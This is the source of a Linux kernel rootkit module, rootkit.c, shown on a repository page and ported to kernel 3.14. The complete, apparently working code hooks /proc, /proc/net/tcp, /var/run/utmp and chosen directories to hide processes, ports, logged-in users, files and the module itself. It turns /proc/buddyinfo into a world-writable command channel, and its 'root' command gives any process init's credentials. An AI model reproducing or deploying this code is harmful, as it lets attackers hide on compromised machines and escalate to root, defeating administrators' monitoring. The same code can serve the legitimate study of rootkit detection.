-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathrootkit.c
703 lines (626 loc) · 21.8 KB
/
rootkit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
// MA 02110-1301, USA.
//
// Author: Matías Fontanini
// Contact: [email protected]
//
// Thanks to Dhiru Kholia(https://github.com/kholia) for porting
// this rootkit to Linux >= 3.0.
// We simple ported it to kernel 3.14
// Most of the functionality is working
// Ahmed, Hisham, Marwan , Ahmed, Mina Misak and Lobna Farag
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/namei.h>
#include <linux/sched.h>
#include <linux/proc_fs.h>
#include <linux/version.h>
MODULE_AUTHOR("Matías Fontanini");
MODULE_AUTHOR("Dhiru Kholia");
MODULE_AUTHOR("Ahmed H. Ismail");
MODULE_AUTHOR("Marwan Derwey");
MODULE_AUTHOR("Hisham");
MODULE_AUTHOR("Ahmed");
MODULE_AUTHOR("Mina Misak");
MODULE_AUTHOR("Lobna Farag");
MODULE_DESCRIPTION("Port of the https://github.com/mfontanini/Programs-Scripts/blob/master/rootkit/rootkit.c rootkit to kernel 3.14");
// THEY HID THIS STRUCT IN THE INTERNAL HEADERS !
// THOSE BASTARDOS !
struct proc_dir_entry {
unsigned int low_ino;
umode_t mode;
nlink_t nlink;
kuid_t uid;
kgid_t gid;
loff_t size;
const struct inode_operations *proc_iops;
const struct file_operations *proc_fops;
struct proc_dir_entry *next, *parent, *subdir;
void *data;
atomic_t count; /* use count */
atomic_t in_use; /* number of callers into module in progress; */
/* negative -> it's going away RSN */
struct completion *pde_unload_completion;
struct list_head pde_openers; /* who did ->open, but not ->release */
spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
u8 namelen;
char name[];
};
#define MODULE_NAME "rootkit"
#define MAX_COMMAND_SZ 30
#define MAX_HIDDEN_PIDS 80
#define MAX_PID_LENGTH 6
#define MAX_HIDDEN_PORTS 20
#define MAX_PORT_LENGTH 5
#define MAX_HIDDEN_USERS 10
/* Commands */
#define MAKE_ROOT_CMD "root"
#define HIDE_MOD_CMD "hide"
#define SHOW_MOD_CMD "show"
#define HIDE_PID_CMD "hpid"
#define SHOW_PID_CMD "spid"
#define HIDE_DPORT_CMD "hdport"
#define HIDE_SPORT_CMD "hsport"
#define SHOW_DPORT_CMD "sdport"
#define SHOW_SPORT_CMD "ssport"
#define HIDE_USER_CMD "huser"
#define SHOW_USER_CMD "suser"
#define USER_PROCESS 7
#define UT_LINESIZE 32
#define UT_NAMESIZE 32
#define UT_HOSTSIZE 256
struct exit_status {
short int e_termination; /* process termination status */
short int e_exit; /* process exit status */
};
struct utmp {
short ut_type; /* type of login */
pid_t ut_pid; /* PID of login process */
char ut_line[UT_LINESIZE]; /* device name of tty - "/dev/" */
char ut_id[4]; /* init id or abbrev. ttyname */
char ut_user[UT_NAMESIZE]; /* user name */
char ut_host[UT_HOSTSIZE]; /* hostname for remote login */
struct exit_status ut_exit; /* The exit status of a process
marked as DEAD_PROCESS */
int32_t ut_session; /* Session ID, used for windowing */
struct {
int32_t tv_sec; /* Seconds */
int32_t tv_usec; /* Microseconds */
} ut_tv; /* Time entry was made */
int32_t ut_addr_v6[4]; /* IP address of remote host */
char __unused[20]; /* Reserved for future use */
};
/* Injection structs */
struct inode *pinode, *tinode, *uinode, *rcinode, *modinode;
struct proc_dir_entry *modules, *root, *handler, *tcp;
static struct file_operations modules_fops, proc_fops, handler_fops, tcp_fops, user_fops, rc_fops, mod_fops;
const struct file_operations *proc_original = 0, *modules_proc_original = 0, *handler_original = 0, *tcp_proc_original = 0, *user_proc_original = 0, *rc_proc_original = 0, *mod_proc_original;
struct dir_context * proc_filldir, *rc_filldir, *mod_filldir;
char *rc_name, *rc_dir, *mod_name, *mod_dir;
module_param(rc_name , charp, 0);
module_param(rc_dir , charp, 0);
module_param(mod_name, charp, 0);
module_param(mod_dir, charp, 0);
typedef void (*pid_function_t)(unsigned);
typedef void (*hide_port_function_t)(unsigned short);
typedef void (*user_function_t)(char *);
char hidden_pids[MAX_HIDDEN_PIDS][MAX_PID_LENGTH];
char hidden_dports[MAX_HIDDEN_PORTS][MAX_PORT_LENGTH], hidden_sports[MAX_HIDDEN_PORTS][MAX_PORT_LENGTH];
char hidden_users[MAX_HIDDEN_USERS][UT_NAMESIZE];
unsigned hidden_pid_count = 0, hidden_dport_count = 0, hidden_sport_count = 0, hidden_user_count = 0;
int port_in_array(char arr[MAX_HIDDEN_PORTS][MAX_PORT_LENGTH], unsigned sz, char *val) {
unsigned i;
for(i = 0; i < sz; ++i)
if(!strcmp(arr[i], val))
return 1;
return 0;
}
int pid_in_array(char arr[MAX_HIDDEN_PIDS][MAX_PID_LENGTH], unsigned sz, char *val) {
unsigned i;
for(i = 0; i < sz; ++i)
if(!strcmp(arr[i], val))
return 1;
return 0;
}
int user_in_array(char arr[MAX_HIDDEN_USERS][UT_NAMESIZE], unsigned sz, char *val) {
unsigned i;
for(i = 0; i < sz; ++i)
if(!strcmp(arr[i], val))
return 1;
return 0;
}
void hide_module(void) {
modules->proc_fops = &modules_fops;
}
void show_module(void) {
modules->proc_fops = modules_proc_original;
}
inline char to_upper(char c) {
return (c >= 'a' && c <= 'f') ? c - 32 : c;
}
// returns the task_struct associated with pid
struct task_struct *get_task_struct_by_pid(unsigned pid) {
struct pid *proc_pid = find_vpid(pid);
struct task_struct *task;
if(!proc_pid)
return 0;
task = pid_task(proc_pid, PIDTYPE_PID);
return task;
}
void zero_fill_port(char *port) {
int end=0, i, j;
while(port[end])
end++;
i = MAX_PORT_LENGTH-1;
j = end;
while(j >= 0)
port[i--] = port[j--];
for(i = 0; i < MAX_PORT_LENGTH - 1 - end; i++)
port[i] = '0';
}
// makes the process pid belong to uid 0
void make_root(unsigned pid) {
struct task_struct *task = get_task_struct_by_pid(pid);
struct task_struct *init_task = get_task_struct_by_pid(1);
if(!task || !init_task)
return;
task->cred = init_task->cred;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 33)
#ifndef CENTOS
char * strnstr(char *s, const char *find, size_t slen) {
char c, sc;
size_t len;
if ((c = *find++) != '\0') {
len = strlen(find);
do {
do {
if (slen-- < 1 || (sc = *s++) == '\0')
return 0;
} while (sc != c);
if (len > slen)
return 0;
} while (strncmp(s, find, len) != 0);
s--;
}
return ((char *)s);
}
#endif
#endif
static ssize_t do_read_modules (struct file *fp, char __user *buf, size_t sz, loff_t *loff) {
ssize_t read;
char *ss;
read = modules_proc_original->read(fp, buf, sz, loff);
// where's my module name?
ss = strnstr(buf, MODULE_NAME, strlen(MODULE_NAME));
if(ss) {
// stealth please
char *new_line = strchr(ss, '\n');
memcpy(ss, new_line + 1, read - (new_line - ss));
return read - (new_line - ss + 1);
}
return read;
}
static ssize_t do_read_tcp (struct file *fp, char __user *buf, size_t sz, loff_t *loff) {
ssize_t read;
char *ss, *lstart, *new_line;
unsigned i = 0, j, found;
read = tcp_proc_original->read(fp, buf, sz, loff);
while(i < read) {
found = 0;
lstart = &buf[i];
new_line = strchr(lstart, '\n'); //pointer to new line.
ss = strchr(strchr(lstart, ':') + 1, ':') + 1; // pointer to first char after second colon
// ss Should be the local port
// local_address
for(j = 0; j < hidden_sport_count; ++j) {
if(!strncmp(hidden_sports[j], ss, 4)) {
memcpy(lstart, new_line + 1, read - (new_line - lstart));
read -= (new_line - lstart + 1);
found = 1;
j = hidden_sport_count;
}
}
if(!found) {
ss = strchr(ss, ':') + 1;
// rem_address
for(j = 0; j < hidden_dport_count; ++j) {
if(!strncmp(hidden_dports[j], ss, 4)) {
memcpy(lstart, new_line + 1, read - (new_line - lstart));
read -= (new_line - lstart + 1);
j = hidden_dport_count;
found = 1;
}
}
}
if(!found)
i += new_line - lstart + 1;
}
return read;
}
static ssize_t do_read_users(struct file *fp, char __user *buf, size_t sz, loff_t *loff) {
ssize_t read = user_proc_original->read(fp, buf, sz, loff);
struct utmp *data;
unsigned i = 0, w, found;
while(i < read) {
found = 0;
data = (struct utmp *)&buf[i];
for(w = 0; w < hidden_user_count && !found; ++w) {
if(data->ut_type == USER_PROCESS && !strncmp(data->ut_user, hidden_users[w], 6)) {
unsigned j;
for(j = 0; j < read - i; ++j) {
buf[i+j] = buf[i+j+sizeof(struct utmp)];
}
read -= sizeof(struct utmp);
if(!read)
read = user_proc_original->read(fp, &buf[0], sz - i, loff);
found = 1;
}
}
if(!found)
i += sizeof(struct utmp);
}
return read;
}
void hide_user(char *user) {
if(hidden_user_count < MAX_HIDDEN_USERS && !user_in_array(hidden_users, hidden_user_count, user)) {
strcpy(hidden_users[hidden_user_count++], user);
}
}
void unhide_user(char *user) {
unsigned i = 0;
for(; i < hidden_user_count; ++i) {
if(!strcmp(user, hidden_users[i])) {
while(i < hidden_user_count-1) {
strcpy(hidden_users[i], hidden_users[i+1]);
i++;
}
hidden_user_count--;
return;
}
}
}
void hide_pid(unsigned pid) {
if(hidden_pid_count < MAX_HIDDEN_PIDS && get_task_struct_by_pid(pid)) {
snprintf(hidden_pids[hidden_pid_count], MAX_PID_LENGTH, "%d", pid);
if(!pid_in_array(hidden_pids, hidden_pid_count, hidden_pids[hidden_pid_count]))
hidden_pid_count++;
}
}
void unhide_pid(unsigned pid) {
char buffer[MAX_PID_LENGTH];
unsigned i;
snprintf(buffer, MAX_PID_LENGTH, "%d", pid);
// let's find that fuck'n pid
for(i = 0; i < hidden_pid_count; ++i) {
if(!strcmp(buffer, hidden_pids[i])) {
// overwrite it
while(i < hidden_pid_count-1) {
strcpy(hidden_pids[i], hidden_pids[i+1]);
i++;
}
hidden_pid_count--;
return;
}
}
}
void generic_pid_function(pid_function_t func, const char __user *data, size_t sz) {
unsigned i = strlen(HIDE_PID_CMD) + 1;
char *dummy;
if(i < sz) {
unsigned pid = simple_strtol(&data[i], &dummy, 10);
if(pid)
func(pid);
}
}
void generic_user_function(user_function_t func, const char __user *data, size_t sz) {
unsigned i = strlen(HIDE_PID_CMD) + 2;
if(i < sz) {
char buffer[UT_NAMESIZE+1];
unsigned to_read = min(sz - i, (size_t)UT_NAMESIZE);
memcpy(buffer, &data[i], to_read);
buffer[to_read - 1] = 0;
func(buffer);
}
}
void unhide_port(unsigned port, char port_array[MAX_HIDDEN_PIDS][MAX_PORT_LENGTH], unsigned *count) {
char buffer[MAX_PORT_LENGTH];
unsigned i;
snprintf(buffer, MAX_PORT_LENGTH, "%x", port);
for(i = 0; buffer[i]; ++i)
buffer[i] = to_upper(buffer[i]);
zero_fill_port(buffer);
// let's find that fuck'n pid
for(i = 0; i < *count; ++i) {
if(!strcmp(buffer, port_array[i])) {
// overwrite it
while(i < *count - 1) {
strcpy(port_array[i], port_array[i+1]);
i++;
}
(*count)--;
return;
}
}
}
void hide_dport(unsigned short port) {
if(hidden_dport_count < MAX_HIDDEN_PORTS) {
unsigned i;
snprintf(hidden_dports[hidden_dport_count], MAX_PORT_LENGTH, "%x", port);
for(i = 0; hidden_dports[hidden_dport_count][i]; ++i)
hidden_dports[hidden_dport_count][i] = to_upper(hidden_dports[hidden_dport_count][i]);
zero_fill_port(hidden_dports[hidden_dport_count]);
printk("dport: %s\n", hidden_dports[hidden_dport_count]);
if(!port_in_array(hidden_dports, hidden_dport_count, hidden_dports[hidden_dport_count]))
hidden_dport_count++;
}
}
void hide_sport(unsigned short port) {
if(hidden_sport_count < MAX_HIDDEN_PORTS) {
unsigned i;
snprintf(hidden_sports[hidden_sport_count], MAX_PORT_LENGTH, "%x", port);
for(i = 0; hidden_sports[hidden_sport_count][i]; ++i)
hidden_sports[hidden_sport_count][i] = to_upper(hidden_sports[hidden_sport_count][i]);
zero_fill_port(hidden_sports[hidden_sport_count]);
if(!port_in_array(hidden_sports, hidden_sport_count, hidden_sports[hidden_sport_count]))
hidden_sport_count++;
}
}
void generic_hide_port_function(hide_port_function_t func, const char __user *data, size_t sz, char *cmd_name) {
unsigned i = strlen(cmd_name) + 1;
char *dummy;
if(i < sz) {
unsigned port = simple_strtol(&data[i], &dummy, 10);
if(port)
func(port);
}
}
void generic_show_port_function(const char __user *data, size_t sz, char *cmd_name, char port_array[MAX_HIDDEN_PIDS][MAX_PORT_LENGTH], unsigned *count) {
unsigned i = strlen(cmd_name) + 1;
char *dummy;
if(i < sz) {
unsigned port = simple_strtol(&data[i], &dummy, 10);
if(port)
unhide_port(port, port_array, count);
}
}
static ssize_t orders_handler (struct file *filp, const char __user *data, size_t sz, loff_t *l) {
if(sz > MAX_COMMAND_SZ)
return -1;
if(!strncmp(data, MAKE_ROOT_CMD, strlen(MAKE_ROOT_CMD)))
generic_pid_function(make_root, data, sz);
else if(!strncmp(data, HIDE_MOD_CMD, strlen(HIDE_MOD_CMD)))
hide_module();
else if(!strncmp(data, SHOW_MOD_CMD, strlen(SHOW_MOD_CMD)))
show_module();
else if(!strncmp(data, HIDE_PID_CMD, strlen(HIDE_PID_CMD)))
generic_pid_function(hide_pid, data, sz);
else if(!strncmp(data, SHOW_PID_CMD, strlen(SHOW_PID_CMD)))
generic_pid_function(unhide_pid, data, sz);
else if(!strncmp(data, HIDE_DPORT_CMD, strlen(HIDE_DPORT_CMD)))
generic_hide_port_function(hide_dport, data, sz, HIDE_DPORT_CMD);
else if(!strncmp(data, HIDE_SPORT_CMD, strlen(HIDE_SPORT_CMD)))
generic_hide_port_function(hide_sport, data, sz, HIDE_SPORT_CMD);
else if(!strncmp(data, SHOW_DPORT_CMD, strlen(SHOW_DPORT_CMD)))
generic_show_port_function(data, sz, HIDE_DPORT_CMD, hidden_dports, &hidden_dport_count);
else if(!strncmp(data, SHOW_SPORT_CMD, strlen(SHOW_SPORT_CMD)))
generic_show_port_function(data, sz, HIDE_SPORT_CMD, hidden_sports, &hidden_sport_count);
else if(!strncmp(data, HIDE_USER_CMD, strlen(HIDE_USER_CMD)))
generic_user_function(hide_user, data, sz);
else if(!strncmp(data, SHOW_USER_CMD, strlen(SHOW_USER_CMD)))
generic_user_function(unhide_user, data, sz);
return -1;
}
int fake_proc_fill_dir(void *a, const char *buffer, int c, loff_t d, u64 e, unsigned f) {
unsigned i;
for(i = 0; i < hidden_pid_count; ++i)
if(!strcmp(buffer, hidden_pids[i]))
return 0;
// do the normal stuff...
return proc_filldir->actor(a, buffer, c, d, e, f);
}
int fake_rc_fill_dir(void *a, const char *buffer, int c, loff_t d, u64 e, unsigned f) {
if(!strcmp(buffer, rc_name))
return 0;
// do the normal stuff...
return rc_filldir->actor(a, buffer, c, d, e, f);
}
int fake_mod_fill_dir(void *a, const char *buffer, int c, loff_t d, u64 e, unsigned f) {
if(!strcmp(buffer, mod_name))
return 0;
// do the normal stuff...
return mod_filldir->actor(a, buffer, c, d, e, f);
}
static int do_readdir_proc (struct file *fp, struct dir_context * fdir) {
int ret;
struct dir_context * pdc;
struct fake_dir_context {
filldir_t actor;
loff_t pos;
} dc;
dc.actor = fake_proc_fill_dir;
dc.pos = fdir->pos;
pdc = (struct dir_context *) &dc;
// replace the filldir_t with my own
proc_filldir = fdir;
ret = proc_original->iterate(fp, pdc);
return ret;
}
static int do_readdir_rc (struct file *fp, struct dir_context * fdir) {
int ret;
struct dir_context * pdc;
struct fake_dir_context {
filldir_t actor;
loff_t pos;
} dc;
dc.actor = fake_rc_fill_dir;
dc.pos = fdir->pos;
pdc = (struct dir_context *) &dc;
// replace the filldir_t with my own
rc_filldir = fdir;
ret = rc_proc_original->iterate(fp, pdc);
return ret;
}
static int do_readdir_mod (struct file *fp, struct dir_context * fdir) {
int ret;
struct dir_context * pdc;
struct fake_dir_context {
filldir_t actor;
loff_t pos;
} dc;
dc.actor = fake_mod_fill_dir;
dc.pos = fdir->pos;
// replace the filldir_t with my own
pdc = (struct dir_context *) &dc;
mod_filldir = fdir;
ret = mod_proc_original->iterate(fp, pdc);
return ret;
}
struct proc_dir_entry *find_dir_entry(struct proc_dir_entry *root, const char *name) {
struct proc_dir_entry *ptr = root->subdir;
while(ptr && strcmp(ptr->name, name))
ptr = ptr->next;
return ptr;
}
void hook_proc(struct proc_dir_entry *root) {
// search for /proc's inode
struct path p;
if(kern_path("/proc/", 0, &p))
return;
pinode = p.dentry->d_inode;
if(!pinode)
return;
// hook /proc iterate
proc_fops = *pinode->i_fop;
proc_original = pinode->i_fop;
proc_fops.iterate = do_readdir_proc;
pinode->i_fop = &proc_fops;
}
void install_handler(struct proc_dir_entry *root) {
struct proc_dir_entry *ptr = root->subdir;
while(ptr && strcmp(ptr->name, "buddyinfo"))
ptr = ptr->next;
if(ptr) {
handler = ptr;
ptr->mode |= S_IWUGO;
handler_original = (struct file_operations*)ptr->proc_fops;
// create new handler
handler_fops = *ptr->proc_fops;
handler_fops.write = orders_handler;
ptr->proc_fops = &handler_fops;
}
}
void init_module_hide_hook(struct proc_dir_entry *root) {
modules = find_dir_entry(root, "modules");
// save original file_operations
modules_proc_original = (struct file_operations*)modules->proc_fops;
modules_fops = *modules->proc_fops;
modules_fops.read = do_read_modules;
}
void init_tcp_hide_hook(struct proc_dir_entry *root) {
// search for /proc/net/tcp's inode
struct path p;
if(kern_path("/proc/net/tcp", 0, &p))
return;
tinode = p.dentry->d_inode;
if(!tinode)
return;
tcp_fops = *tinode->i_fop;
tcp_proc_original = tinode->i_fop;
tcp_fops.read = do_read_tcp;
tinode->i_fop = &tcp_fops;
}
void init_users_hide_hook(struct proc_dir_entry *root) {
// search for utmp's inode
struct path p;
if(kern_path("/var/run/utmp", 0, &p))
return;
uinode = p.dentry->d_inode;
if(!uinode)
return;
user_fops = *uinode->i_fop;
user_proc_original = uinode->i_fop;
user_fops.read = do_read_users;
uinode->i_fop = &user_fops;
}
void init_hide_rc(void) {
// search for rc's inode
struct path p;
if(kern_path(rc_dir, 0, &p))
return;
rcinode = p.dentry->d_inode;
if(!rcinode)
return;
// hook rc's iterate
rc_fops = *rcinode->i_fop;
rc_proc_original = rcinode->i_fop;
rc_fops.iterate = do_readdir_rc;
rcinode->i_fop = &rc_fops;
}
void init_hide_mod(void) {
// search for rc's inode
struct path p;
if(kern_path(mod_dir, 0, &p))
return;
modinode = p.dentry->d_inode;
if(!modinode)
return;
// hook rc's iterate
mod_fops = *modinode->i_fop;
mod_proc_original = modinode->i_fop;
mod_fops.iterate = do_readdir_mod;
modinode->i_fop = &mod_fops;
}
static int __init module_init_proc(void) {
static struct file_operations fileops_struct = {0};
struct proc_dir_entry *new_proc;
// dummy to get proc_dir_entry of /proc
if(rc_name && rc_dir)
init_hide_rc();
if(mod_name && mod_dir)
init_hide_mod();
new_proc = proc_create("dummy", 0644, 0, &fileops_struct);
root = new_proc->parent;
init_tcp_hide_hook(root);
init_module_hide_hook(root);
init_users_hide_hook(root);
hook_proc(root);
// install the handler to wait for orders...
install_handler(root);
// i't no longer required.
remove_proc_entry("dummy", 0);
return 0;
}
static void module_exit_proc(void) {
if(proc_original)
pinode->i_fop = proc_original;
if(tcp_proc_original)
tinode->i_fop = tcp_proc_original;
if(user_proc_original)
uinode->i_fop = user_proc_original;
if(rc_proc_original)
rcinode->i_fop = rc_proc_original;
if(mod_proc_original)
modinode->i_fop = mod_proc_original;
show_module();
if(handler_original) {
handler->proc_fops = handler_original;
handler->mode &= (~S_IWUGO);
}
}
module_init(module_init_proc);
module_exit(module_exit_proc);
MODULE_LICENSE("GPL");